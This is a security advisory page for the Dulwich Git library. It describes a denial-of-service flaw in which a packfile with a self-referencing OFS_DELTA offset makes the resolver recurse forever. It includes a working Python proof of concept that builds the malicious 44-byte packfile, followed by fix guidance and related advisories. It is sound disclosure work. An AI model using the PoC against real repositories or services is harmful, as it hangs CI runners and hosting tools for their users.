GHSA-35mr-4567-66vgMedium· 6.5▾ SunlitDulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution
▾ Sunlit zone — Low / medium · no exploitation signal
impact 35.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
dulwich/pack.py (Method: Pack.resolve_object)A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.
If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.
Vulnerable Code Breakdown (dulwich/pack.py):
elif obj_type == OFS_DELTA:
delta_offset = parse_pack_object_offset_at(...)
base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0
base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion
An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).
dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.The following Python script generates a 44-byte packfile that triggers the loop:
from dulwich.pack import Pack
import struct, zlib, tempfile, os
# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body
pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)
fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)
# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
Pack.resolve_object to reject delta_offset == 0:
if delta_offset == 0:
raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).dulwich < 1.2.9Upgrade to a patched release:
dulwich 1.2.9Connected by shared product, vendor, weakness, or advisory.
GHSA-8mcx-5rqc-vhmfHigh· 8.8Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths
GHSA-8w8g-wq8h-fq33High· 8.6Dulwich: Symlink write-through in checkout(paths=[]) via raw os.open bypasses all symlink protections
GHSA-5fqc-mrg8-w798High· 8.6Dulwich: Symlink directory traversal in filter-branch index_filter via cross-commit state persistence
GHSA-cm62-gvxx-vmxxHigh· 8.6Dulwich: Symlink directory traversal in stash pop allows arbitrary file write via intermediate directory symlinks
CVE-2026-47712Low· 3.3Dulwich doesn't sanitize commit subjects in `porcelain.format_patch`
CVE-2026-47734Medium· 5.7Dulwich has unbounded memory allocation in receive-pack from crafted thin packs